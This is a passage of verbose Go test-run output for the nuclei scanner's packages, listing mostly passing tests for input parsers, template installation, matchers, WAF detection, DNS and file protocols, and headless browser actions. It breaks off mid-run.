github.com/projectdiscovery/nuclei/v3/pkg/input/formats/json 1.171s === RUN TestOpenAPIParser --- PASS: TestOpenAPIParser (0.09s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/formats/openapi 1.369s === RUN TestSwaggerAPIParser --- PASS: TestSwaggerAPIParser (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/formats/swagger 1.278s === RUN TestYamlFormatterParse --- PASS: TestYamlFormatterParse (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/formats/yaml 1.166s ? github.com/projectdiscovery/nuclei/v3/pkg/input/provider [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/input/provider/http [no test files] === RUN Test_expandCIDR --- PASS: Test_expandCIDR (0.01s) === RUN Test_scanallips_normalizeStoreInputValue --- PASS: Test_scanallips_normalizeStoreInputValue (0.09s) === RUN Test_expandASNInputValue hmap_test.go:161: Skipping asnmap test as pdcp keys are not present --- SKIP: Test_expandASNInputValue (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/provider/list 1.585s === RUN TestParseHttpRequest === RUN TestParseHttpRequest/GET_Request http_test.go:64: {GET {[User-Agent X-Test Accept-Encoding] map[Accept-Encoding:gzip User-Agent:Go-http-client/1.1 X-Test:test] false false} GET / HTTP/1.1 Host: example.com User-Agent: Go-http-client/1.1 X-Test: test Accept-Encoding: gzip } === RUN TestParseHttpRequest/POST_Request_with_body http_test.go:64: {POST {[User-Agent Content-Length Content-Type Accept-Encoding] map[Accept-Encoding:gzip Content-Length:15 Content-Type:application/json User-Agent:Go-http-client/1.1] false false} {"key":"value"} POST /resource HTTP/1.1 Host: example.com User-Agent: Go-http-client/1.1 Content-Length: 15 Content-Type: application/json Accept-Encoding: gzip {"key":"value"}} === RUN TestParseHttpRequest/PUT_Request_with_body http_test.go:64: {PUT {[User-Agent Content-Length Content-Type Accept-Encoding] map[Accept-Encoding:gzip Content-Length:11 Content-Type:text/plain User-Agent:Go-http-client/1.1] false false} update data PUT /update HTTP/1.1 Host: example.com User-Agent: Go-http-client/1.1 Content-Length: 11 Content-Type: text/plain Accept-Encoding: gzip update data} === RUN TestParseHttpRequest/DELETE_Request http_test.go:64: {DELETE {[User-Agent X-User Accept-Encoding] map[Accept-Encoding:gzip User-Agent:Go-http-client/1.1 X-User:user1] false false} DELETE /delete HTTP/1.1 Host: example.com User-Agent: Go-http-client/1.1 X-User: user1 Accept-Encoding: gzip } --- PASS: TestParseHttpRequest (0.00s) --- PASS: TestParseHttpRequest/GET_Request (0.00s) --- PASS: TestParseHttpRequest/POST_Request_with_body (0.00s) --- PASS: TestParseHttpRequest/PUT_Request_with_body (0.00s) --- PASS: TestParseHttpRequest/DELETE_Request (0.00s) === RUN TestUnmarshalJSON === RUN TestUnmarshalJSON/basic_url === RUN TestUnmarshalJSON/basic_url_with_scheme --- PASS: TestUnmarshalJSON (0.00s) --- PASS: TestUnmarshalJSON/basic_url (0.00s) --- PASS: TestUnmarshalJSON/basic_url_with_scheme (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/types 1.131s === RUN TestTemplateInstallation [INF] nuclei-templates are not installed, installing... [INF] Successfully installed nuclei-templates at /tmp/nuclei-templates-1482371764/templates template_test.go:60: Installed 11340 templates --- PASS: TestTemplateInstallation (57.74s) === RUN TestIsOutdatedVersion === RUN TestIsOutdatedVersion/Empty_latest_version_should_not_trigger_update === RUN TestIsOutdatedVersion/Same_versions_should_not_trigger_update === RUN TestIsOutdatedVersion/Older_version_should_trigger_update === RUN TestIsOutdatedVersion/Newer_current_version_should_not_trigger_update === RUN TestIsOutdatedVersion/Dev_version_matching_release_should_not_trigger_update === RUN TestIsOutdatedVersion/Outdated_dev_version_should_trigger_update === RUN TestIsOutdatedVersion/Invalid_current_version_should_trigger_update_(fallback) === RUN TestIsOutdatedVersion/Invalid_latest_version_should_trigger_update_(fallback) === RUN TestIsOutdatedVersion/Same_invalid_versions_should_not_trigger_update_(fallback) --- PASS: TestIsOutdatedVersion (0.00s) --- PASS: TestIsOutdatedVersion/Empty_latest_version_should_not_trigger_update (0.00s) --- PASS: TestIsOutdatedVersion/Same_versions_should_not_trigger_update (0.00s) --- PASS: TestIsOutdatedVersion/Older_version_should_trigger_update (0.00s) --- PASS: TestIsOutdatedVersion/Newer_current_version_should_not_trigger_update (0.00s) --- PASS: TestIsOutdatedVersion/Dev_version_matching_release_should_not_trigger_update (0.00s) --- PASS: TestIsOutdatedVersion/Outdated_dev_version_should_trigger_update (0.00s) --- PASS: TestIsOutdatedVersion/Invalid_current_version_should_trigger_update_(fallback) (0.00s) --- PASS: TestIsOutdatedVersion/Invalid_latest_version_should_trigger_update_(fallback) (0.00s) --- PASS: TestIsOutdatedVersion/Same_invalid_versions_should_not_trigger_update_(fallback) (0.00s) === RUN TestVersionCheck --- PASS: TestVersionCheck (0.34s) === RUN TestZipSlip === RUN TestZipSlip/negative_scenarios --- PASS: TestZipSlip (0.00s) --- PASS: TestZipSlip/negative_scenarios (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/installer 59.502s === RUN TestNewCompilerConsoleDebug --- PASS: TestNewCompilerConsoleDebug (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/js/compiler 1.396s ? github.com/projectdiscovery/nuclei/v3/pkg/js/devtools/bindgen [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/devtools/bindgen/cmd/bindgen [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/devtools/scrapefuncs [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/devtools/tsgen [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/devtools/tsgen/cmd/tsgen [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libbytes [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libfs [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libgoconsole [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libikev2 [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libkerberos [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libldap [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libmssql [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libmysql [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libnet [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/liboracle [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libpop3 [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libpostgres [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/librdp [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libredis [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/librsync [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libsmb [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libsmtp [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libssh [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libstructs [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libtelnet [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libvnc [no test files] === RUN TestScriptsRuntime 2025/08/25 17:42:49 { "a": 1, "b": 2 } --- PASS: TestScriptsRuntime (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/js/global 1.386s ? github.com/projectdiscovery/nuclei/v3/pkg/js/gojs [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/bytes [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/fs [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/goconsole [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/ikev2 [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/kerberos [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/ldap [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/mssql [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/mysql [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/net [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/oracle [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/pop3 [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/postgres [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/rdp [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/redis [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/rsync [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/smb [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/smtp [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/ssh [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/structs [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/telnet [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/vnc [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/utils [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/utils/pgwrap [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/keys [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/loader/parser [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow [no test files] === RUN TestInfoJsonMarshal --- PASS: TestInfoJsonMarshal (0.00s) === RUN TestInfoYamlMarshal --- PASS: TestInfoYamlMarshal (0.00s) === RUN TestUnmarshal --- PASS: TestUnmarshal (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/model 1.252s === RUN TestYamlUnmarshal === RUN TestYamlUnmarshal/Info === RUN TestYamlUnmarshal/info === RUN TestYamlUnmarshal/inFo_ === RUN TestYamlUnmarshal/infO_ === RUN TestYamlUnmarshal/_INFO_ --- PASS: TestYamlUnmarshal (0.00s) --- PASS: TestYamlUnmarshal/Info (0.00s) --- PASS: TestYamlUnmarshal/info (0.00s) --- PASS: TestYamlUnmarshal/inFo_ (0.00s) --- PASS: TestYamlUnmarshal/infO_ (0.00s) --- PASS: TestYamlUnmarshal/_INFO_ (0.00s) === RUN TestYamlMarshal --- PASS: TestYamlMarshal (0.00s) === RUN TestYamlUnmarshalFail --- PASS: TestYamlUnmarshalFail (0.00s) === RUN TestGetSupportedSeverities --- PASS: TestGetSupportedSeverities (0.00s) === RUN TestMarshalJSON --- PASS: TestMarshalJSON (0.00s) === RUN TestSeveritiesMarshalYaml --- PASS: TestSeveritiesMarshalYaml (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity 1.245s ? github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/model/types/userAgent [no test files] === RUN TestMakeDynamicValuesCallback === RUN TestMakeDynamicValuesCallback/all === RUN TestMakeDynamicValuesCallback/first --- PASS: TestMakeDynamicValuesCallback (0.00s) --- PASS: TestMakeDynamicValuesCallback/all (0.00s) --- PASS: TestMakeDynamicValuesCallback/first (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/operators 1.247s === RUN TestDslExpressions === RUN TestDslExpressions/resolve("scanme.sh","6") resolve("scanme.sh","6"): 2400:6180:0:d0::91:1001 === RUN TestDslExpressions/resolve("scanme.sh","aaaa") resolve("scanme.sh","aaaa"): 2400:6180:0:d0::91:1001 === RUN TestDslExpressions/resolve("scanme.sh","soa") resolve("scanme.sh","soa"): ns69.domaincontrol.com === RUN TestDslExpressions/resolve("scanme.sh") resolve("scanme.sh"): 128.199.158.128 === RUN TestDslExpressions/resolve("scanme.sh","a") resolve("scanme.sh","a"): 128.199.158.128 --- PASS: TestDslExpressions (0.07s) --- PASS: TestDslExpressions/resolve("scanme.sh","6") (0.02s) --- PASS: TestDslExpressions/resolve("scanme.sh","aaaa") (0.00s) --- PASS: TestDslExpressions/resolve("scanme.sh","soa") (0.01s) --- PASS: TestDslExpressions/resolve("scanme.sh") (0.01s) --- PASS: TestDslExpressions/resolve("scanme.sh","a") (0.02s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/operators/common/dsl 1.310s === RUN TestExtractor_ExtractRegex --- PASS: TestExtractor_ExtractRegex (0.00s) === RUN TestExtractor_ExtractKval --- PASS: TestExtractor_ExtractKval (0.00s) === RUN TestExtractor_ExtractXPath --- PASS: TestExtractor_ExtractXPath (0.00s) === RUN TestExtractor_ExtractJSON --- PASS: TestExtractor_ExtractJSON (0.00s) === RUN TestExtractor_ExtractDSL --- PASS: TestExtractor_ExtractDSL (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors 1.258s === RUN TestWordANDCondition --- PASS: TestWordANDCondition (0.00s) === RUN TestRegexANDCondition --- PASS: TestRegexANDCondition (0.00s) === RUN TestORCondition --- PASS: TestORCondition (0.00s) === RUN TestRegexOrCondition --- PASS: TestRegexOrCondition (0.00s) === RUN TestHexEncoding --- PASS: TestHexEncoding (0.00s) === RUN TestMatcher_MatchDSL --- PASS: TestMatcher_MatchDSL (0.00s) === RUN TestMatcher_MatchXPath_HTML --- PASS: TestMatcher_MatchXPath_HTML (0.00s) === RUN TestMatcher_MatchXPath_XML --- PASS: TestMatcher_MatchXPath_XML (0.00s) === RUN TestValidate --- PASS: TestValidate (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers 1.252s === RUN TestStandardWriterRequest === RUN TestStandardWriterRequest/WithoutTraceAndError === RUN TestStandardWriterRequest/TraceAndErrorWithoutError === RUN TestStandardWriterRequest/ErrorWithWrappedError --- PASS: TestStandardWriterRequest (0.00s) --- PASS: TestStandardWriterRequest/WithoutTraceAndError (0.00s) --- PASS: TestStandardWriterRequest/TraceAndErrorWithoutError (0.00s) --- PASS: TestStandardWriterRequest/ErrorWithWrappedError (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/output 1.246s === RUN TestTrackErrorKind --- PASS: TestTrackErrorKind (0.02s) === RUN TestTrackWaf_Detect --- PASS: TestTrackWaf_Detect (0.02s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/output/stats 1.056s === RUN TestWAFDetection === RUN TestWAFDetection/Cloudflare_WAF === RUN TestWAFDetection/ModSecurity_WAF === RUN TestWAFDetection/No_WAF === RUN TestWAFDetection/Wordfence_WAF === RUN TestWAFDetection/Sucuri_WAF --- PASS: TestWAFDetection (0.03s) --- PASS: TestWAFDetection/Cloudflare_WAF (0.00s) --- PASS: TestWAFDetection/ModSecurity_WAF (0.00s) --- PASS: TestWAFDetection/No_WAF (0.00s) --- PASS: TestWAFDetection/Wordfence_WAF (0.00s) --- PASS: TestWAFDetection/Sucuri_WAF (0.00s) === RUN TestWAFDetectionNilPointerSafety === RUN TestWAFDetectionNilPointerSafety/nil_detector === RUN TestWAFDetectionNilPointerSafety/nil_regexCache === RUN TestWAFDetectionNilPointerSafety/regexCache_with_nil_regex === RUN TestWAFDetectionNilPointerSafety/empty_regexCache --- PASS: TestWAFDetectionNilPointerSafety (0.00s) --- PASS: TestWAFDetectionNilPointerSafety/nil_detector (0.00s) --- PASS: TestWAFDetectionNilPointerSafety/nil_regexCache (0.00s) --- PASS: TestWAFDetectionNilPointerSafety/regexCache_with_nil_regex (0.00s) --- PASS: TestWAFDetectionNilPointerSafety/empty_regexCache (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/output/stats/waf 1.044s ? github.com/projectdiscovery/nuclei/v3/pkg/progress [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/projectfile [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols [no test files] === RUN TestCodeProtocol --- PASS: TestCodeProtocol (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/code 1.470s === RUN TestNormalizeAppName --- PASS: TestNormalizeAppName (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/automaticscan 1.586s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs [no test files] === RUN TestEvaluate --- PASS: TestEvaluate (0.00s) === RUN TestEval --- PASS: TestEval (0.00s) === RUN TestUnresolvedVariablesCheck --- PASS: TestUnresolvedVariablesCheck (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions 1.304s === RUN TestBatteringRamGenerator --- PASS: TestBatteringRamGenerator (0.00s) === RUN TestPitchforkGenerator --- PASS: TestPitchforkGenerator (0.00s) === RUN TestClusterbombGenerator --- PASS: TestClusterbombGenerator (0.00s) === RUN TestParsePayloadsWithAggression --- PASS: TestParsePayloadsWithAggression (0.00s) === RUN TestLoadPayloads === RUN TestLoadPayloads/templates-directory === RUN TestLoadPayloads/templates-path-relative === RUN TestLoadPayloads/template-directory === RUN TestLoadPayloads/invalid --- PASS: TestLoadPayloads (2.72s) --- PASS: TestLoadPayloads/templates-directory (0.00s) --- PASS: TestLoadPayloads/templates-path-relative (0.00s) --- PASS: TestLoadPayloads/template-directory (0.00s) --- PASS: TestLoadPayloads/invalid (0.00s) === RUN TestLoadPayloadsWithAccess === RUN TestLoadPayloadsWithAccess/no-sandbox-unix --- PASS: TestLoadPayloadsWithAccess (1.35s) --- PASS: TestLoadPayloadsWithAccess/no-sandbox-unix (0.00s) === RUN TestMergeMapsMany --- PASS: TestMergeMapsMany (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators 5.526s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/globalmatchers [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/deserialization [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/eventcreator [no test files] === RUN TestHexDumpHighlighting === RUN TestHexDumpHighlighting/Test_highlighting_when_the_snippet_is_wrapped === RUN TestHexDumpHighlighting/Test_highlight_when_the_snippet_contains_separator_character --- PASS: TestHexDumpHighlighting (0.00s) --- PASS: TestHexDumpHighlighting/Test_highlighting_when_the_snippet_is_wrapped (0.00s) --- PASS: TestHexDumpHighlighting/Test_highlight_when_the_snippet_contains_separator_character (0.00s) === RUN TestHighlight === RUN TestHighlight/Test_highlighting_when_the_snippet_is_wrapped === RUN TestHighlight/Test_highlighting_without_hexdump abcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmn=== RUN TestHighlight/Test_the_response_is_not_modified_if_noColor_is_true === RUN TestHighlight/Test_the_response_is_not_modified_if_noColor_is_true#01 --- PASS: TestHighlight (0.01s) --- PASS: TestHighlight/Test_highlighting_when_the_snippet_is_wrapped (0.01s) --- PASS: TestHighlight/Test_highlighting_without_hexdump (0.00s) --- PASS: TestHighlight/Test_the_response_is_not_modified_if_noColor_is_true (0.00s) --- PASS: TestHighlight/Test_the_response_is_not_modified_if_noColor_is_true#01 (0.00s) === RUN TestMultiSubstringMatchHighlight --- PASS: TestMultiSubstringMatchHighlight (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter 1.322s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/writer [no test files] === RUN TestCacheCheck === RUN TestCacheCheck/increment_host_error === RUN TestCacheCheck/flagged [INF] Skipped TestCacheCheck:80 from target list as found unresponsive 5 times === RUN TestCacheCheck/mark_failed_or_remove --- PASS: TestCacheCheck (0.00s) --- PASS: TestCacheCheck/increment_host_error (0.00s) --- PASS: TestCacheCheck/flagged (0.00s) --- PASS: TestCacheCheck/mark_failed_or_remove (0.00s) === RUN TestTrackErrors [INF] Skipped custom:80 from target list as found unresponsive 3 times --- PASS: TestTrackErrors (0.00s) === RUN TestCacheItemDo --- PASS: TestCacheItemDo (0.00s) === RUN TestRemove [INF] Skipped TestRemove:80 from target list as found unresponsive 100 times --- PASS: TestRemove (0.01s) === RUN TestCacheMarkFailed --- PASS: TestCacheMarkFailed (0.00s) === RUN TestCacheMarkFailedConcurrent [INF] Skipped example.com:80 from target list as found unresponsive 200 times [INF] Skipped example.com:443 from target list as found unresponsive 100 times --- PASS: TestCacheMarkFailedConcurrent (0.01s) === RUN TestCacheCheckConcurrent --- PASS: TestCacheCheckConcurrent (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/hosterrorscache 1.205s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/marker [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolinit [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate [no test files] === RUN TestGetRandomIp === RUN TestGetRandomIp/Valid_C_class === RUN TestGetRandomIp/Valid_B_class === RUN TestGetRandomIp/Valid_A_class === RUN TestGetRandomIp/Valid_classless_zero_based_network === RUN TestGetRandomIp/Valid_classless_non-zero_based_network === RUN TestGetRandomIp/Multiple_CIDRs === RUN TestGetRandomIp/Negative_CIDR_length === RUN TestGetRandomIp/Large_CIDR_length === RUN TestGetRandomIp/No_CIDR_provided === RUN TestGetRandomIp/Valid_but_crazy === RUN TestGetRandomIp/Valid_but_unlikely === RUN TestGetRandomIp/Valid_IPv6 === RUN TestGetRandomIp/Classless_IPv4_starting_with_a_non-zero_base === RUN TestGetRandomIp/IPv6_and_IPv4 === RUN TestGetRandomIp/Negative_CIDR_length_IPv6 === RUN TestGetRandomIp/Large_CIDR_length_IPv6 === RUN TestGetRandomIp/Valid_but_unlikely_IPv6 --- PASS: TestGetRandomIp (0.00s) --- PASS: TestGetRandomIp/Valid_C_class (0.00s) --- PASS: TestGetRandomIp/Valid_B_class (0.00s) --- PASS: TestGetRandomIp/Valid_A_class (0.00s) --- PASS: TestGetRandomIp/Valid_classless_zero_based_network (0.00s) --- PASS: TestGetRandomIp/Valid_classless_non-zero_based_network (0.00s) --- PASS: TestGetRandomIp/Multiple_CIDRs (0.00s) --- PASS: TestGetRandomIp/Negative_CIDR_length (0.00s) --- PASS: TestGetRandomIp/Large_CIDR_length (0.00s) --- PASS: TestGetRandomIp/No_CIDR_provided (0.00s) --- PASS: TestGetRandomIp/Valid_but_crazy (0.00s) --- PASS: TestGetRandomIp/Valid_but_unlikely (0.00s) --- PASS: TestGetRandomIp/Valid_IPv6 (0.00s) --- PASS: TestGetRandomIp/Classless_IPv4_starting_with_a_non-zero_base (0.00s) --- PASS: TestGetRandomIp/IPv6_and_IPv4 (0.00s) --- PASS: TestGetRandomIp/Negative_CIDR_length_IPv6 (0.00s) --- PASS: TestGetRandomIp/Large_CIDR_length_IPv6 (0.00s) --- PASS: TestGetRandomIp/Valid_but_unlikely_IPv6 (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/randomip 1.057s === RUN TestReplacerReplace === RUN TestReplacerReplace/Invalid_arguments === RUN TestReplacerReplace/Nested === RUN TestReplacerReplace/Basic === RUN TestReplacerReplace/No_template_variables === RUN TestReplacerReplace/Nested_variable === RUN TestReplacerReplace/Space_in_variable_name === RUN TestReplacerReplace/Escaped_marker_in_template === RUN TestReplacerReplace/Escaping_no_marker_in_template === RUN TestReplacerReplace/Empty_variable_name === RUN TestReplacerReplace/Multiple_replacement --- PASS: TestReplacerReplace (0.00s) --- PASS: TestReplacerReplace/Invalid_arguments (0.00s) --- PASS: TestReplacerReplace/Nested (0.00s) --- PASS: TestReplacerReplace/Basic (0.00s) --- PASS: TestReplacerReplace/No_template_variables (0.00s) --- PASS: TestReplacerReplace/Nested_variable (0.00s) --- PASS: TestReplacerReplace/Space_in_variable_name (0.00s) --- PASS: TestReplacerReplace/Escaped_marker_in_template (0.00s) --- PASS: TestReplacerReplace/Escaping_no_marker_in_template (0.00s) --- PASS: TestReplacerReplace/Empty_variable_name (0.00s) --- PASS: TestReplacerReplace/Multiple_replacement (0.00s) === RUN TestReplacerReplaceOne === RUN TestReplacerReplaceOne/Basic === RUN TestReplacerReplaceOne/Basic_Multiple_Vars === RUN TestReplacerReplaceOne/Missing_key === RUN TestReplacerReplaceOne/Replacement_value_empty === RUN TestReplacerReplaceOne/Empty_key_and_value_different_markers === RUN TestReplacerReplaceOne/Empty_key_and_value_same_marker --- PASS: TestReplacerReplaceOne (0.00s) --- PASS: TestReplacerReplaceOne/Basic (0.00s) --- PASS: TestReplacerReplaceOne/Basic_Multiple_Vars (0.00s) --- PASS: TestReplacerReplaceOne/Missing_key (0.00s) --- PASS: TestReplacerReplaceOne/Replacement_value_empty (0.00s) --- PASS: TestReplacerReplaceOne/Empty_key_and_value_different_markers (0.00s) --- PASS: TestReplacerReplaceOne/Empty_key_and_value_same_marker (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/replacer 1.291s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/uncover [no test files] === RUN TestExcludeMatchers --- PASS: TestExcludeMatchers (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/excludematchers 1.033s === RUN TestDumpVariables --- PASS: TestDumpVariables (0.00s) === RUN TestProcess --- PASS: TestProcess (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump 1.289s === RUN TestVariablesEvaluate --- PASS: TestVariablesEvaluate (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/variables 1.478s === RUN TestDNSCompileMake --- PASS: TestDNSCompileMake (0.01s) === RUN TestDNSRequests === RUN TestDNSRequests/dns-regular === RUN TestDNSRequests/dns-payload --- PASS: TestDNSRequests (0.00s) --- PASS: TestDNSRequests/dns-regular (0.00s) --- PASS: TestDNSRequests/dns-payload (0.00s) === RUN TestResponseToDSLMap --- PASS: TestResponseToDSLMap (0.00s) === RUN TestDNSOperatorMatch === RUN TestDNSOperatorMatch/valid === RUN TestDNSOperatorMatch/rcode === RUN TestDNSOperatorMatch/negative === RUN TestDNSOperatorMatch/invalid === RUN TestDNSOperatorMatch/caseInsensitive --- PASS: TestDNSOperatorMatch (0.00s) --- PASS: TestDNSOperatorMatch/valid (0.00s) --- PASS: TestDNSOperatorMatch/rcode (0.00s) --- PASS: TestDNSOperatorMatch/negative (0.00s) --- PASS: TestDNSOperatorMatch/invalid (0.00s) --- PASS: TestDNSOperatorMatch/caseInsensitive (0.00s) === RUN TestDNSOperatorExtract === RUN TestDNSOperatorExtract/extract === RUN TestDNSOperatorExtract/kval --- PASS: TestDNSOperatorExtract (0.00s) --- PASS: TestDNSOperatorExtract/extract (0.00s) --- PASS: TestDNSOperatorExtract/kval (0.00s) === RUN TestDNSMakeResult --- PASS: TestDNSMakeResult (0.00s) === RUN TestDNSExecuteWithResults === RUN TestDNSExecuteWithResults/domain-valid --- PASS: TestDNSExecuteWithResults (0.01s) --- PASS: TestDNSExecuteWithResults/domain-valid (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns 1.546s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns/dnsclientpool [no test files] === RUN TestFindInputPaths --- PASS: TestFindInputPaths (0.01s) === RUN TestResponseToDSLMap --- PASS: TestResponseToDSLMap (0.00s) === RUN TestFileOperatorMatch === RUN TestFileOperatorMatch/valid === RUN TestFileOperatorMatch/negative === RUN TestFileOperatorMatch/invalid === RUN TestFileOperatorMatch/caseInsensitive --- PASS: TestFileOperatorMatch (0.00s) --- PASS: TestFileOperatorMatch/valid (0.00s) --- PASS: TestFileOperatorMatch/negative (0.00s) --- PASS: TestFileOperatorMatch/invalid (0.00s) --- PASS: TestFileOperatorMatch/caseInsensitive (0.00s) === RUN TestFileOperatorExtract === RUN TestFileOperatorExtract/extract === RUN TestFileOperatorExtract/kval --- PASS: TestFileOperatorExtract (0.00s) --- PASS: TestFileOperatorExtract/extract (0.00s) --- PASS: TestFileOperatorExtract/kval (0.00s) === RUN TestFileMakeResultWithOrMatcher --- PASS: TestFileMakeResultWithOrMatcher (0.00s) === RUN TestFileMakeResultWithAndMatcher --- PASS: TestFileMakeResultWithAndMatcher (0.00s) === RUN TestFileExecuteWithResults === RUN TestFileExecuteWithResults/valid === RUN TestFileExecuteWithResults/valid#01 === RUN TestFileExecuteWithResults/valid#02 --- PASS: TestFileExecuteWithResults (0.01s) --- PASS: TestFileExecuteWithResults/valid (0.00s) --- PASS: TestFileExecuteWithResults/valid#01 (0.00s) --- PASS: TestFileExecuteWithResults/valid#02 (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/file 1.560s testing: warning: no tests to run PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless 1.523s [no tests to run] === RUN TestActionNavigate --- PASS: TestActionNavigate (6.64s) === RUN TestActionScript === RUN TestActionScript/run-and-results === RUN TestActionScript/hook --- PASS: TestActionScript (12.74s) --- PASS: TestActionScript/run-and-results (6.37s) --- PASS: TestActionScript/hook (6.37s) === RUN TestActionClick --- PASS: TestActionClick (6.41s) === RUN TestActionRightClick --- PASS: TestActionRightClick (6.44s) === RUN TestActionTextInput --- PASS: TestActionTextInput (6.42s) === RUN TestActionHeadersChange --- PASS: TestActionHeadersChange (6.35s) === RUN TestActionScreenshot [INF] Screenshot successfully saved at /tmp/test.png --- PASS: TestActionScreenshot (3.42s) === RUN TestActionScreenshotToDir [INF] 